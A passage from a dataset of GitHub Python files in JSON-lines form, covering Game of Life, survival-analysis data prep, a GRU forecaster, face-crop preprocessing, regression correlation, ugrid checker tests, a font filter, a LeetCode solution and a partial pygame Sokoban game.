d.keys()],reverse=True)\n for k in d.keys():\n s1 += d[k]\n k = 0\n\n while (s1 < 450):\n d[l[k][1]] += 1\n s1 += 1\n k= (k +1)%count\n for k in d.keys():\n print(k, d[k])\n\n","repo_name":"DiGarOn/IAD","sub_path":"contests/ten/j.py","file_name":"j.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"26945145570","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom time import sleep\n\ndef live_neighbours(board,i,j):\n N = board.shape[0]\n n = 0\n dx = [-1,0,1,1,1,0,-1,-1]\n dy = [-1,-1,-1,0,1,1,1,0]\n for k in range(8):\n if i+dx[k] >= 0 and i+dx[k] < N and j+dy[k] >= 0 and j+dy[k] < N:\n n += board[i+dx[k],j+dy[k]]\n return n\n\ndef looped_live_neighbours(board,i,j):\n N = board.shape[0]\n n = 0\n dx = [-1,0,1,1,1,0,-1,-1]\n dy = [-1,-1,-1,0,1,1,1,0]\n for k in range(8):\n n += board[(i+dx[k])%N,(j+dy[k])%N]\n return n\n\ndef game_of_life(n,max_iters = 100,init_p1 = 0.25,looped_edges = False):\n board = np.random.choice(2,(n,n),p=[1-init_p1,init_p1])\n iter_ = max_iters\n t = plt.imshow(board)\n while iter_>0 and np.max(board) > 0:\n new_board = np.copy(board)\n changed = False\n for i in range(n):\n for j in range(n):\n if looped_edges:\n ln = looped_live_neighbours(board,i,j)\n else:\n ln = live_neighbours(board,i,j)\n if board[i,j]:\n if ln != 2 and ln != 3:\n new_board[i,j] = 0\n changed = True\n else:\n if ln == 3:\n new_board[i,j] = 1\n changed = True\n if not changed:\n break\n\n board = new_board\n\n t.set_data(board)\n plt.draw()\n plt.pause(0.01)\n iter_ -= 1\n\ngame_of_life(100,300,0.25,True)\n","repo_name":"MatMarkiewicz/University","sub_path":"Term 5/Python/L8/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"11493387446","text":"\"\"\"\r\nAuthor: Taesun Kim\r\nDate: 2/3/2019\r\n\r\nTitle: Create Extra Survival Data for Callback Analysis\r\n\r\nPurpose:\r\n 1. Need to Create Extra Data Including (df0.contact_time_in_month >= '2018-10-01 00:00:00') \r\n 2. Account for (1) Churn Type, (2) Product Type, and (3) Market Type in the Analysis.\r\n\r\nInput: \r\n 1. 'data_retention.pickle'\r\n\r\nOutput: \r\n 1. 'data_survival_extra.pickle'\r\n\r\nReferences: \r\n See \"02. Create Survival Data for Analysis.py\".\r\n \r\n\"\"\"\r\n\r\n\r\n### 0. Import Required Packages\r\nimport pandas as pd\r\nimport numpy as np\r\nimport datetime as dt\r\nimport pickle\r\nimport matplotlib.pyplot as plt\r\n#%matplotlib inline\r\nimport seaborn as sns\r\n#import lifelines\r\n\r\n\r\n\r\n\r\n#### 1. Load Data\r\n### Use pickled data\r\nimport pickle\r\nwith open('data_retention.pickle', 'rb') as f:\r\n data = pickle.load(f)\r\n \r\ndf = data.loc[data.flag_chc_count & data.flag_product & data.flag_save & (data['begin_revenue'] > 0)]\r\ndf['Erosion'] = df['net_revenue_change'] * (-1)\r\ndf['Erosion_Pct'] = 100 * df['Erosion'] / df['begin_revenue']\r\n\r\n\r\n\r\n\r\n\r\n### 2. Filter Data wrt Scope of Analysis\r\n## (0) Save Customers Only\r\nfilter0 = (df.save_flag == 'Y')\r\n# df.save_flag.value_counts()\r\ndf0 = df.loc[filter0]\r\n\r\n# Check Unique Customer IDs.\r\ndf0.chc.unique().size\r\n#tmp = df0.chc.value_counts()\r\n\r\n\r\n## (1) Study Period: Oct 2018 ~\r\n# filter1 = (df.save_flag == 'Y') & (df.contact_time_in_month < '2018-10-01 00:00:00') \r\nfilter1 = (df0.contact_time_in_month >= '2018-10-01 00:00:00') \r\ndf1 = df0.loc[filter1]\r\ndf10 = df0.loc[~filter1]\r\nlen(df1) + len(df10)\r\n# df0.contact_time_in_month.value_counts().sort_index()\r\n\r\n# Check Unique Customer IDs.\r\ndf1.chc.unique().size\r\ndf10.chc.unique().size\r\n\r\n\r\n## (2) Customer Type: Customers Using \r\nfilter2 = (df1['prev_product_bundle'] == df1['curr_product_bundle']) &\\\r\n (df1['prev_videotier'] == df1['curr_videotier']) &\\\r\n (df1['prev_speedtier'] == df1['curr_speedtier'])\r\n\r\ndf2 = df1.loc[filter2]\r\ndf20 = df1.loc[~filter2]\r\nlen(df2) + len(df20)\r\n\r\n# Check Unique Customer IDs.\r\ndf2.chc.unique().size\r\ndf20.chc.unique().size\r\n\r\n\r\n## (3) Erosion: Non-Negative Erosion\r\nfilter3 = (df2['Erosion'] >= 0) \r\ndf3 = df2.loc[filter3]\r\ndf30 = df2.loc[~filter3]\r\nlen(df3) + len(df30)\r\n\r\n# Check Unique Customer IDs.\r\ndf3.chc.unique().size\r\ndf30.chc.unique().size\r\n\r\n\r\n## (4) Churn Type: (1) Voluntary Churn vs (2) All Churn Types\r\nfilter4 = (df3.status.isin(['ACTIVE', 'VOLUNTARY', 'MOVE AND TRANSFER', 'NON-PAY'])) &\\\r\n (df3['duration_in_month'] >= 0)\r\ndf4 = df3.loc[filter4]\r\ndf40 = df3.loc[~filter4]\r\n#df4.status.value_counts()\r\n#(df4['duration_in_month'] >= 0).value_counts()\r\nlen(df4) + len(df40)\r\n\r\n# Check Unique Customer IDs.\r\ndf4.chc.unique().size\r\ndf40.chc.unique().size\r\n\r\ndf4.loc[df4['status'] == 'ACTIVE']['chc'].unique().size\r\ndf4.loc[df4['status'] == 'VOLUNTARY']['chc'].unique().size\r\ndf4.loc[df4['status'] == 'MOVE AND TRANSFER']['chc'].unique().size\r\ndf4.loc[df4['status'] == 'NON-PAY']['chc'].unique().size\r\n\r\ndf4['churn_voluntary'] = df4.status.isin(['VOLUNTARY']).astype('int')\r\ndf4['churn_all'] = df4.status.isin(['VOLUNTARY', 'MOVE AND TRANSFER', 'NON-PAY']).astype('int')\r\n\r\n# Check Data\r\n#varlist = ['status', 'churn_voluntary', 'churn_all', 'date', 'rpt_date', 'duration_in_month']\r\n#tmp = df4[varlist]\r\n\r\ndf4['Erosion'] = np.abs(df4.Erosion)\r\ndf4['Erosion_Pct'] = np.abs(df4.Erosion_Pct)\r\n\r\n# Create Price Discount Buckets\r\nbin0 = [-0.001, 0]\r\nbin1 = np.arange(2, 22, 2).tolist()\r\nbin2 = np.arange(25, 80, 5).tolist()\r\nbin3 = [float(\"inf\")]\r\nprice_category1 = bin0 + bin1 + bin2 + bin3\r\ndf4['Erosion_bin1'] = pd.cut(df4['Erosion'], price_category1)\r\n\r\nbin0 = [-0.001, 0]\r\nbin1 = np.arange(5, 55, 5).tolist()\r\nbin2 = np.arange(60, 90, 10).tolist()\r\nbin3 = [float(\"inf\")]\r\nprice_category2 = bin0 + bin1 + bin2 + bin3\r\ndf4['Erosion_bin2'] = pd.cut(df4['Erosion'], price_category2)\r\n\r\nbin0 = [-0.001, 0]\r\nbin1 = np.arange(2, 42, 2).tolist()\r\nbin2 = [50, 80]\r\nbin3 = [float(\"inf\")]\r\nprice_category3 = bin0 + bin1 + bin2 + bin3\r\ndf4['Erosion_Pct_bin1'] = pd.cut(df4['Erosion_Pct'], price_category3)\r\n\r\nbin0 = [-0.001, 0]\r\nbin1 = np.arange(2, 32, 2).tolist()\r\nbin2 = [35, 40]\r\nbin3 = [float(\"inf\")]\r\nprice_category4 = bin0 + bin1 + bin2 + bin3\r\ndf4['Erosion_Pct_bin2'] = pd.cut(df4['Erosion_Pct'], price_category4)\r\n\r\n\r\n\r\n\r\n\r\n## 3. Save Cleaned Survival Data in pickle\r\nwith open('data_survival_extra.pickle', 'wb') as f:\r\n pickle.dump(df4, f, pickle.HIGHEST_PROTOCOL)","repo_name":"manojnamburi/Survival_Analysis","sub_path":"Manoj_code_files/03. Create Extra Survival Data for Analysis.py","file_name":"03. Create Extra Survival Data for Analysis.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"20821653599","text":"from pandas import DataFrame\nfrom pandas import Series\nfrom pandas import concat\nfrom pandas import read_csv\nfrom pandas import datetime\n\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import MinMaxScaler\n\nimport numpy as np\nfrom numpy import concatenate\n\n# from math import sqrt\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\n\nimport time\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n# convert an array of values into a dataset matrix\ndef create_dataset(dataset, look_back=1):\n dataset = np.insert(dataset, [0] * look_back, 0)\n dataX, dataY = [], []\n for i in range(len(dataset) - look_back):\n a = dataset[i:(i + look_back)]\n dataX.append(a)\n dataY.append(dataset[i + look_back])\n dataY = np.array(dataY)\n dataY = np.reshape(dataY, (dataY.shape[0], 1))\n dataset = np.concatenate((dataX, dataY), axis=1)\n return dataset\n\n# create a differenced series\ndef difference(dataset, interval=1):\n diff = list()\n for i in range(interval, len(dataset)):\n value = dataset[i] - dataset[i - interval]\n diff.append(value)\n return Series(diff)\n\n# invert differenced value\ndef inverse_difference(history, yhat, interval=1):\n ori = list()\n for i in range(len(yhat)):\n value=yhat[i]+history[-interval+i]\n ori.append(value)\n return Series(ori).values\n\n# scale train and test data to [-1, 1]\ndef scale(train, test):\n # fit scaler\n scaler = MinMaxScaler(feature_range=(-1, 1))\n scaler = scaler.fit(train)\n # transform train\n train = train.reshape(train.shape[0], train.shape[1])\n train_scaled = scaler.transform(train)\n # transform test\n test = test.reshape(test.shape[0], test.shape[1])\n test_scaled = scaler.transform(test)\n return scaler, train_scaled, test_scaled\n\n# inverse scaling for a forecasted value\ndef invert_scale(scaler, ori_array ,pred_array):\n # reshape the array to 2D\n pred_array=pred_array.reshape(pred_array.shape[0],1)\n ori_array=ori_array.reshape(ori_array.shape[0],1)\n # maintain the broadcast shape with scaler\n pre_inverted=concatenate((ori_array, pred_array), axis=1)\n inverted = scaler.inverse_transform(pre_inverted)\n # extraction the pred_array_inverted\n pred_array_inverted=inverted[:,-1]\n return pred_array_inverted\n\nclass Sequence(nn.Module):\n def __init__(self):\n super(Sequence, self).__init__()\n self.gru1 = nn.GRUCell(1, 51)\n self.gru2 = nn.GRUCell(51, 51)\n self.linear = nn.Linear(51, 1)\n\n def forward(self, input, future = 0):\n outputs = []\n h_t = Variable(torch.zeros(input.size(0), 51).double(), requires_grad=False)\n h_t2 = Variable(torch.zeros(input.size(0), 51).double(), requires_grad=False)\n\n for i,input_t in enumerate(input.chunk(input.size(1), dim=1)):\n h_t= self.gru1(input_t, h_t)\n h_t2 = self.gru2(h_t, h_t2)\n output = self.linear(h_t2)\n outputs += [output]\n for i in range(future):# if we should predict the future\n h_t= self.gru1(output, h_t)\n h_t2 = self.gru2(h_t, h_t2)\n output = self.linear(h_t2)\n outputs += [output]\n outputs = torch.stack(outputs, 1).squeeze(2)\n return outputs\n\nif __name__ == '__main__':\n # load dataset\n series = read_csv('chinese_oil_production.csv', header=0,\n parse_dates=[0], index_col=0, squeeze=True)\n\n raw_values = series.values\n\n # transform data to be stationary\n diff = difference(raw_values, 1)\n\n # create dataset x,y\n dataset = diff.values\n dataset = create_dataset(dataset, look_back=1)\n\n # split into train and test sets\n train_size = int(dataset.shape[0] * 0.8)\n test_size = dataset.shape[0] - train_size\n train, test = dataset[0:train_size], dataset[train_size:]\n\n # transform the scale of the data\n scaler, train_scaled, test_scaled = scale(train, test)\n\n # Initialize timer\n time_tr_start=time.time()\n\n # set random seed to 0\n np.random.seed(0)\n torch.manual_seed(0)\n # load data and make training set\n input_scaled=train_scaled[:,:1]\n input = Variable(torch.from_numpy(input_scaled),requires_grad=False)\n target_scaled=train_scaled[:,1:]\n target= Variable(torch.from_numpy(target_scaled),requires_grad=False)\n test_input_scaled=test_scaled[:, :1]\n test_input = Variable(torch.from_numpy(test_input_scaled), requires_grad=False)\n test_target_scaled=test_scaled[:, 1:]\n test_target = Variable(torch.from_numpy(test_target_scaled), requires_grad=False)\n\n # build the model\n seq = Sequence()\n seq.double()\n criterion = nn.MSELoss()\n # use LBFGS as optimizer since we can load the whole data to train\n optimizer = optim.LBFGS(seq.parameters(), lr=0.8)\n \n print(\"Using CPU i7-7700k! \\n\")\n print(\"--- Training GRUs ---\")\n #begin to train\n for i in range(15):\n print('STEP: ', i)\n def closure():\n optimizer.zero_grad()\n out = seq(input)\n loss = criterion(out, target)\n # record train time\n training_time = time.time()-time_tr_start\n print('MSE: %.10f \\t Total time: %.3f' % (loss.data.numpy()[0], training_time))\n loss.backward()\n return loss\n optimizer.step(closure)\n \n # begin to forcast\n print('Forecasting Testing Data')\n # make a one-step forecast\n def forecast(input, future_step):\n pre=seq(input,future=future_step)\n pre=pre.data.numpy()\n return pre\n\n y_pred=forecast(input=test_input,future_step=0)\n y_pred=y_pred[:,-1]\n y_pred=invert_scale(scaler,test_input_scaled,y_pred)\n # invert differencing\n y_pred=inverse_difference(raw_values,y_pred,len(test_scaled)+1)\n # print forecast\n for i in range(len(test)):\n print('Predicted=%f, Expected=%f' % ( y_pred[i], raw_values[-len(test)+i]))\n\n\n\n ","repo_name":"vroomzel/Time_Series_Research","sub_path":"Time_Series_Prediction_RNN/Real-World-Data/Prediction_RNNCell/prediction_gru_cpu.py","file_name":"prediction_gru_cpu.py","file_ext":"py","file_size_in_byte":5999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"10962112269","text":"from hwang import Decoder\nfrom storehouse import StorageConfig, StorageBackend, RandomReadFile\nfrom query.models import Video, FaceIdentity, Identity\nfrom esper.prelude import collect\n\nimport cv2\nimport os\nimport pickle\nimport math\nimport random\nimport multiprocessing as mp\n\n\ndef prepare_hairstyle(video_path, face_list, storage=None, out_folder='/app/result/clothing/images/'):\n# (frame_id, face_id, identity_id, bbox) = face_list[0]\n\n fid_list = [face[0] for face in face_list]\n# print(\"fid_list\", fid_list)\n \n # load frames from google cloud\n if storage is None:\n storage = StorageBackend.make_from_config(StorageConfig.make_gcs_config('esper'))\n video_file = RandomReadFile(storage, video_path.encode('ascii'))\n video = Decoder(video_file)\n img_list = video.retrieve(fid_list)\n img_list = [cv2.cvtColor(img, cv2.COLOR_RGB2BGR) for img in img_list]\n# print(\"load %d frames\" % len(fid_list))\n \n H, W = img_list[0].shape[:2]\n# result = []\n for i, face in enumerate(face_list):\n (frame_id, face_id, identity_id, bbox) = face\n frame = img_list[i]\n x1 = int(bbox[0] * W)\n y1 = int(bbox[1] * H)\n x2 = int(bbox[2] * W)\n y2 = int(bbox[3] * H)\n w = max(y2 - y1, x2 - x1) * 3 // 4\n cx, cy = (x1 + x2) // 2, (y1 + y2) // 2\n x1 = cx - w if cx - w > 0 else 0\n x2 = cx + w if cx + w < W else W\n y1 = cy - w if cy - w > 0 else 0\n y2 = cy + w if cy + w < H else H\n filename = '{}_{}.jpg'.format(identity_id, face_id)\n cv2.imwrite(os.path.join(out_folder, filename), img_list[i][y1:y2, x1:x2])\n# result.append((identity_id, filename))\n# return result\n\n\ndef solve_thread(face_dict, tmp_dict_path, thread_id):\n print(\"Thread %d start computing...\" % (thread_id))\n res_dict = {}\n storage = StorageBackend.make_from_config(StorageConfig.make_gcs_config('esper'))\n\n for i, video in enumerate(sorted(face_dict)):\n print(\"Thread %d start %dth video: %s\" % (thread_id, i, video))\n \n prepare_clothing(video, face_dict[video], storage)\n# res_dict[video] = result\n# if i % 200 == 0 and i != 0:\n# pickle.dump(res_dict, open(tmp_dict_path, \"wb\" ))\n \n# pickle.dump(res_dict, open(tmp_dict_path, \"wb\" ))\n print(\"Thread %d finished computing...\" % (thread_id))\n\n \ndef solve_parallel(face_dict, res_dict_path=None, workers=64):\n \n# if os.path.exists(res_dict_path):\n# res_dict = pickle.load(open(res_dict_path, \"rb\" ))\n# # video_list = [video for video in video_list if video not in res_dict]\n# else:\n# res_dict = {}\n\n video_list = sorted(face_dict)\n num_video = len(video_list)\n print(\"Num videos total: \", num_video)\n if num_video == 0:\n return \n if num_video <= workers:\n workers = num_video\n num_video_t = 1\n else:\n num_video_t = math.ceil(1. * num_video / workers)\n print(\"Num videos per worker:\", num_video_t)\n \n tmp_dict_list = []\n for i in range(workers):\n tmp_dict_list.append('/app/result/clothing/dict_{}.pkl'.format(i))\n \n ### using ctx will stuck in fork\n# ctx = mp.get_context('spawn')\n process_list = []\n for i in range(workers):\n if i != workers - 1:\n face_dict_t = { video: face_dict[video] for video in video_list[i*num_video_t : (i+1)*num_video_t] } \n else:\n face_dict_t = { video: face_dict[video] for video in video_list[i*num_video_t : ] } \n p = mp.Process(target=solve_thread, args=(face_dict_t, tmp_dict_list[i], i,))\n process_list.append(p)\n \n print(\"Assign jobs done\")\n \n for p in process_list:\n p.start()\n# for p in process_list:\n# p.join()\n \n# for path in tmp_dict_list:\n# if not os.path.exists(path):\n# continue\n# res_dict_tmp = pickle.load(open(path, \"rb\" ))\n# res_dict = {**res_dict, **res_dict_tmp}\n \n# pickle.dump(res_dict, open(res_dict_path, \"wb\" )) \n\n\nif __name__ == \"__main__\":\n \n faceIdentities = FaceIdentity.objects \\\n .filter(probability__gt=0.99) \\\n .select_related('face__frame__video')\n \n faceIdentities_sampled = random.sample(list(faceIdentities), 100000)\n print(\"Load %d face identities\" % len(faceIdentities_sampled))\n \n identity_grouped = collect(list(faceIdentities_sampled), lambda identity: identity.face.frame.video.id)\n print(\"Group into %d videos\" % len(identity_grouped))\n \n face_dict = {}\n for video_id, fis in identity_grouped.items():\n video = Video.objects.filter(id=video_id)[0]\n face_list = []\n for i in fis:\n face_id = i.face.id\n frame_id = i.face.frame.number\n identity_id = i.identity.id\n x1, y1, x2, y2 = i.face.bbox_x1, i.face.bbox_y1, i.face.bbox_x2, i.face.bbox_y2\n bbox = (x1, y1, x2, y2)\n face_list.append((frame_id, face_id, identity_id, bbox))\n face_list.sort()\n face_dict[video.path] = face_list\n print(\"Preload face bbox done\")\n \n solve_parallel(face_dict, res_dict_path='/app/result/clothing/fina_dict.pkl', workers=64)","repo_name":"scanner-research/esper-tv","sub_path":"app/esper/hairstyle_prepare.py","file_name":"hairstyle_prepare.py","file_ext":"py","file_size_in_byte":5218,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"71"} +{"seq_id":"7836289224","text":"from sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import Lars\nfrom sklearn.linear_model import RidgeCV\nfrom sklearn.linear_model import LassoCV\nfrom sklearn.metrics import r2_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nimport json\nimport os\nimport pandas as pd\nimport numpy as np\nimport itertools\n\nfrom sklearn.exceptions import ConvergenceWarning\nfrom warnings import simplefilter\n\nsimplefilter(\"ignore\", category=ConvergenceWarning)\n\ndef write_to_file(filename, data, correlate_to=[], model=\"lregression\"):\n correlate_to = [x.split(\"/\")[1] for x in correlate_to]\n filename = filename.split(\"/\")[1]\n c_to_ng = \"_\".join(correlate_to)\n fname = filename if len(\n correlate_to) == 0 else f\"correlation_{filename}_to_{c_to_ng}\"\n fname = model + \"_\" + fname\n with open(f\"{fname}.json\", \"w\", encoding='UTF8') as f:\n jsob = json.dumps(data, ensure_ascii=False)\n f.write(jsob)\n\ndef correlate_by_one(dependent_file, independent_files, allow_same=False, model=\"lregression\"):\n correlation = []\n headers = []\n filename = dependent_file.split(\".\")[0]\n process = 0\n file_count = 1\n\n print(independent_files)\n\n dependent_data = pd.read_csv(dependent_file, dtype=np.double)\n from_files_data = [pd.read_csv(f, dtype=np.double)\n for f in independent_files]\n\n headers = [list(x.keys()) for x in from_files_data]\n dataset = pd.concat(from_files_data)\n i_files_product = set(itertools.product(*headers))\n i_fname = [x.split(\".\")[0] for x in independent_files]\n\n dependent_arr = dependent_data.shape[1]\n # param_coef_l = {}\n # produc_len = dependent_data.shape[0]\n\n try:\n for dep in range(dependent_arr):\n for prod_tuple in i_files_product:\n y = dependent_data.iloc[:, dep].values\n if len(set(y)) > 1 or allow_same:\n dataf = pd.DataFrame()\n #t_array = prod_tuple\n\n for t_val in prod_tuple:\n arr = np.array(dataset[t_val].values)\n dataf.insert(0, t_val, arr[~np.isnan(arr)])\n\n x = dataf\n if len(set(x.values.flatten())) > len(x.columns) or allow_same:\n x_train, x_test, y_train, y_test = train_test_split( x, y, test_size=0.2, random_state=0, shuffle=False)\n if model == \"lregression\":\n ml_model = LinearRegression()\n\n if model == \"ridge\":\n ml_model = RidgeCV()\n\n if model == \"lasso\":\n ml_model = LassoCV()\n\n\n ml_model.fit(x_train, y_train)\n y_pred = ml_model.predict(x_test)\n score = r2_score(y_test, y_pred)\n\n if score > 0 and score <= 0.95:\n cor_d = {\"dependent\": dependent_data.columns[dep], \"model\": model, \"independent_parameters\": prod_tuple, \"score\": score}\n correlation.append(cor_d)\n process += 1\n print(f\"{dependent_data.columns[dep]} is done. Progress: {file_count} out of {dependent_arr }\")\n file_count += 1\n write_to_file(filename, correlation, i_fname, model=model)\n except Exception as e:\n print(e)","repo_name":"kirillvarn/grocerycomparator-stat","sub_path":"cor.py","file_name":"cor.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"37648663458","text":"\"\"\"\nTests for ugrid_checks.check.check_dataset API\n\nN.B. the actual checker function is tested in\n:mod:tests.check.test_check_dataset__checks\n\n\"\"\"\nimport re\n\nfrom . import simple_incorrect_scan_and_codes, simple_scan\nfrom .. import cdl_scanner\nfrom .test_check_dataset__checks import DatasetChecker, scan_mini_w_data\n\n# Yes, we do need these imports.\ncdl_scanner\nsimple_scan\nsimple_incorrect_scan_and_codes\nscan_mini_w_data\n\n\nfrom ugrid_checks.check import check_dataset\n\n\nclass Test_CheckerControls(DatasetChecker):\n def check(\n self,\n # These args are pass-through to the check_dataset call\n arg,\n print_summary=False,\n omit_advisories=False,\n ignore_codes=None,\n max_data_mb=200.0,\n # This arg defines the expected results\n expected_codes=None,\n ):\n # Call the checker with the test object.\n # N.B. if setting 'print_summary', best to hide the print output\n # with the PyTest standard 'capsys' fixture.\n checker = check_dataset(\n arg,\n print_summary=print_summary,\n omit_advisories=omit_advisories,\n ignore_codes=ignore_codes,\n max_data_mb=max_data_mb,\n )\n logs = checker.logger.report_statement_logrecords()\n\n # Check that the list of statements is as expected\n expected_statements = [(code, \"\") for code in expected_codes]\n self._expect_notes(logs, expected_statements)\n\n # Also check that output counts the expected number of errors+warnings\n expect_n_err = sum(\n 1 if record.levelname == \"ERROR\" else 0 for record in logs\n )\n expect_n_warn = sum(\n 1 if record.levelname == \"WARNING\" else 0 for record in logs\n )\n assert checker.logger.N_FAILURES == expect_n_err\n assert checker.logger.N_WARNINGS == expect_n_warn\n return checker\n\n def test_noerrors(self, simple_scan):\n self.check(simple_scan, expected_codes=[])\n\n def test_basic(self, simple_incorrect_scan_and_codes):\n scan, codes = simple_incorrect_scan_and_codes\n self.check(scan, expected_codes=codes)\n\n def test_printout_on(self, simple_incorrect_scan_and_codes, capsys):\n scan, codes = simple_incorrect_scan_and_codes\n self.check(scan, print_summary=True, expected_codes=codes)\n text = capsys.readouterr().out\n check_re = (\n \"conformance checks complete.*\"\n \"List of checker messages.*\"\n \"Total of 4 problems.*\"\n \"2 Rxxx requirement failures.*\"\n \"2 Axxx advisory recommendation warnings.*\"\n \"Done.\"\n )\n assert re.search(check_re, text, re.DOTALL)\n\n def test_printout_off(self, simple_incorrect_scan_and_codes, capsys):\n scan, codes = simple_incorrect_scan_and_codes\n self.check(scan, print_summary=False, expected_codes=codes)\n assert capsys.readouterr().out == \"\"\n\n def test_no_warnings(self, simple_incorrect_scan_and_codes):\n scan, codes = simple_incorrect_scan_and_codes\n errors = [code for code in codes if code.startswith(\"R\")]\n self.check(scan, omit_advisories=True, expected_codes=errors)\n\n def test_ignore_codes(self, simple_incorrect_scan_and_codes):\n scan, codes = simple_incorrect_scan_and_codes\n ignores = [\"R101\", \"A903\"]\n codes = [code for code in codes if code not in ignores]\n self.check(scan, ignore_codes=ignores, expected_codes=codes)\n\n def test_size_threshold(self, scan_mini_w_data):\n scan = scan_mini_w_data\n checker = self.check(scan, expected_codes=[])\n assert not checker.data_skipped\n checker = self.check(scan, max_data_mb=0.0, expected_codes=[])\n assert checker.data_skipped\n","repo_name":"pp-mo/ugrid-checks","sub_path":"lib/ugrid_checks/tests/check/test_check_dataset__api.py","file_name":"test_check_dataset__api.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"41823901227","text":"from fontTools.misc.transform import Identity, Transform\n\nimport ufo2ft.util\nfrom ufo2ft.filters import BaseFilter\n\n\nclass DecomposeTransformedComponentsFilter(BaseFilter):\n def filter(self, glyph):\n if not glyph.components:\n return False\n transformedComponents = []\n for component in glyph.components:\n if component.transformation[:4] != Identity[:4]:\n transformedComponents.append(component)\n if not transformedComponents:\n return False\n specificComponents = [c.baseGlyph for c in transformedComponents]\n ufo2ft.util.deepCopyContours(\n self.context.glyphSet,\n glyph,\n glyph,\n Transform(),\n specificComponents=specificComponents,\n )\n for component in transformedComponents:\n glyph.removeComponent(component)\n return True\n","repo_name":"deepin-community/ufo2ft","sub_path":"Lib/ufo2ft/filters/decomposeTransformedComponents.py","file_name":"decomposeTransformedComponents.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"20065871286","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def sortedListToBST(self, head: ListNode) -> TreeNode:\n if head == None:\n return None\n array = []\n \n # Convert the singly linked list into a list to make it\n # easier to work with.\n while head:\n array.append(head.val)\n head=head.next\n \n # This function simple recursivly builds the tree from the midpoint of the list.\n def recurseTree(array: list) -> TreeNode:\n if array == []:\n return None\n \n midPoint = len(array)//2\n \n #Build the left and right of the tree by using the left and \n # right of the list because it is already sorted. \n treeRoot = TreeNode(array[midPoint])\n treeRoot.left = recurseTree(array[:midPoint])\n treeRoot.right = recurseTree(array[midPoint + 1:])\n \n return treeRoot\n \n return recurseTree(array)\n \n \n","repo_name":"anantprakash17/leetcodeSolutions","sub_path":"SinglyLinkedListToBST.py","file_name":"SinglyLinkedListToBST.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74845924390","text":"import pygame,sys\r\nimport button\r\nimport numpy as np\r\n\r\npygame.init()\r\n# create display window\r\nSCREEN_HEIGHT = 600\r\nSCREEN_WIDTH = 800\r\n\r\npantalla = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\r\npygame.display.set_caption('SOKOBAN')\r\nperso= pygame.image.load(\"Imagenes/Personaje1.jpeg\").convert_alpha()\r\npygame.display.set_icon(perso)\r\n\r\ndef sokoban():\r\n tablero = np.array([[0,0,0,0,0,0,0,0] #tablero [fila][columna]->inicio: tablero[0][0]\r\n ,[0,0,0,0,1,6,0,0] #En 0 se encuentran las cajas\r\n ,[0,0,1,1,2,1,0,0] #En >=1 se desplaza el personaje\r\n ,[0,0,1,0,1,0,0,0] #En 2 se encuentran los bloques movibles\r\n ,[0,1,1,0,5,0,0,0] #En 5 se encuentran los diamantes\r\n ,[0,1,0,1,1,2,5,0] #En 6 se encuentran el personaje\r\n ,[0,1,2,1,1,1,5,0]\r\n ,[0,0,0,0,0,0,0,0]])\r\n \r\n\r\n # MÚSICA\r\n # -----------------------------------------\r\n # Función música-En PRUEBA\r\n\r\n def makeSound(filename):\r\n pygame.mixer.init()\r\n Sonido = pygame.mixer.Sound(filename)\r\n\r\n return Sonido\r\n\r\n\r\n # Para la música-CORRECTO\r\n #pygame.mixer.music.load(\"Musica/S.mario-bros.mp3\")\r\n #\"pygame.mixer.music.play(-1)\r\n #pygame.mixer.music.set_volume(1)\r\n sonidoFondo=pygame.mixer.Sound(\"Musica/S.mario-bros.mp3\")\r\n sonidoFondo.play(-1)\r\n # ----------------------------------------\r\n\r\n # Definimos colores-Por se acaso\r\n BLACK = (0, 0, 0)\r\n WHITE = (255, 255, 255)\r\n GREEN = (0, 255, 0)\r\n RED = (255, 0, 0)\r\n BLUE = (0, 0, 255)\r\n\r\n # Caracteristica de la ventana\r\n size = (800, 600) # Largo x ancho\r\n\r\n #Etiqueta\r\n fuente1 = pygame.font.SysFont(\"Arial\",34,True,False)\r\n info = fuente1.render(\"CONTADOR\",0,GREEN)\r\n \r\n \r\n # Creamos ventana\r\n screen = pygame.display.set_mode(size)\r\n # Controlar los FPS\r\n clock = pygame.time.Clock()\r\n\r\n # IMAGENES\r\n # ----------------------------------------------------\r\n # Fondo del juego\r\n background = pygame.image.load(\"Imagenes/fotoFondo.jpg\").convert()\r\n\r\n # Imagenes de elementos del juego\r\n bloque = pygame.image.load(\"Imagenes/Ladrillo.jpeg\")\r\n personaje = pygame.image.load(\"Imagenes/Personaje1.jpeg\").convert_alpha()\r\n bloque_Mov = pygame.image.load(\"Imagenes/LadrilloMovible.png\")\r\n Diamante = pygame.image.load(\"Imagenes/Diamante.jpeg\")\r\n # Icono y titulo para la ventana(Esquina superior)\r\n 